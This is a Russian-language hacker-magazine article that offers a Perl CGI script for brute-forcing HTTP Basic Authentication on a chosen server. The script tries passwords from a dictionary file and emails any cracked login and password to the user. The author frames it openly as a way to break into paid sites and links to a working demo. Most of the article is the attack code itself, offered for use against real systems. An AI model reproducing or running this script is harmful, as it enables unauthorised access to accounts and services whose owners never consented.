Совсем недавно прошла статья «Брутфорс на Perl», в которой рассматривалась возможность взлома твоего любимого порно-сервера (ну или доступа к базе номеров какого-нибудь экономического журнала — это уж кому как ;-)) с помощью мощи языка Perl. Хорошая была задумка, очень хорошая…Однако предлагалось использовать для запуска shell… А он у тебя есть? Вот то-то и оно… только не спеши расстраиваться. Про мощь языка я только что говорил, помнишь? Поэтому давай попробуем забацать примерно следующее:

Ты заполняешь формочку (причем вовсе необязательно каждый раз грузить ее из инета — просто сохрани эту формочку у себя на винте) нажимаешь кнопочку «Start», отключаешься от инета и идешь спать. Просыпаешься утром — лезешь в свой почтовый ящик (не на лестничной клетке, а на каком-нибудь mail.xx) и находишь там письмецо в результатами брутфорса…

Заманчиво? То-то и оно… И между тем, все предельно просто: после нажатия кнопочки «Start», введенные тобой данные передаются в скрипт, который начинает подбирать пароль, используя введенные тобой данные. По результатам подбора формируется письмо с темой «Hacked!!!» и указанием логина/пароля — если подбор был успешен, и темой «Hack Results», если ничего не вышло.

Теперь о том, где взять сам скрипт… Думаю далеко ходить не надо, вот его несколько урезанный вариант:

################################
#!/usr/bin/perl
use CGI qw(:standard);
use MIME::Base64;
use IO::Socket;
use POSIX;

$server=param(«server»);
chomp($server);
if (length($server)<4){$war=»Wrong server!»;}
$port=param(«port»);
chomp($port);
if (length($port)<1){$war=»Wrong port!»;}
$dir=param(«dir»);
chomp($dir);
if (length($dir)<2){$war=»Wrong Directory!»;}
$user=param(«user»);
chomp($user);
if (length($user)<1){$war=»Wrong Username!»;}
$mail=param(«mail»);
chomp($mail);
if ((length($mail)<7) || (not $mail=~/\@/)){$war=»Wrong e-mail!»;}
$dict=»dictionary.txt»;
$mailprog=’/usr/sbin/sendmail’;
$admin=’k_georgy@mail.ru’;

if (defined ($war)){
print «Content-type: text/html\n\n»;

print «Can`t Start Hacking!!!\t$war\t\t»;
die;
}
if (not defined($war)){
$query = CGI::new();
print $query->redirect(‘http://www.xakep.holm.ru/ok.htm’);
}
open(PASS, «$dict») or die print «$!\n»;
$i=0;
while (<PASS>){
$pass=<PASS>;
$i++;
chomp($pass);
$send=encode_base64(«$user\:$pass»);
chomp($send);
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp) or die print «connection failed to $server:$port\n»;
print $socket «GET $dir HTTP/1.1\n»;
print $socket «Host: $server\n»;
print $socket «Accept: */*\n»;
print $socket «Referer: http://xakep.holm.ru/\n»;
print $socket «User-Agent: Internet Explorer 5.0\n»;
print $socket «Pragma: no-cache\n»;
print $socket «Cache-Control: no-cache\n»;
print $socket «Authorization: Basic $send\n»;
print $socket «Connection: close\n\n»;
$in=<$socket>;
if ($in=~/200 Ok/i) {
open (MAIL, «|$mailprog -t»);
print MAIL «Content-Type: text/plain\n»;
print MAIL «Subject: HACKED!!!\n»;
print MAIL «To: $mail\n»;
print MAIL «From: «.$admin.»\n\n»;
print MAIL «Username is : $user\n»;
print MAIL «Password is $pass\n\n»;
close (MAIL);

exit 0;
}
}
open (MAIL, «|$mailprog -t»);
print MAIL «Content-Type: text/plain\n»;
print MAIL «Subject: HACK RESULTS\n»;
print MAIL «To: $mail\n»;
print MAIL «From: «.$admin.»\n\n»;
print MAIL «Результаты Взлома:\n»;
print MAIL «Server: $server\n»;
print MAIL «Username: $user\n»;
print MAIL «Not hacked…»; 
close (MAIL);

#coded by: Georgy, платный консультант
################################

Итак, если ты хоть немного напрягся и почитал код, то увидел, что все, что тебе нужно для полного счастья, это файл с вариантами паролей который ты обзовешь dictionary.txt и засунешь в ту же директория, что и сам скрипт.

Ну и конечно же!!! Рабочую demo-версию этого скрипта ты можешь найти на моем сайте
http://georgy.h1.ru.

Оставить мнение

Check Also

Equifax взломали не в мае, а в марте, и компания направляла пользователей на фейковый сайт

Появляются все новые подробности о взломе бюро кредитных историй Equifax и, к сожалению, и…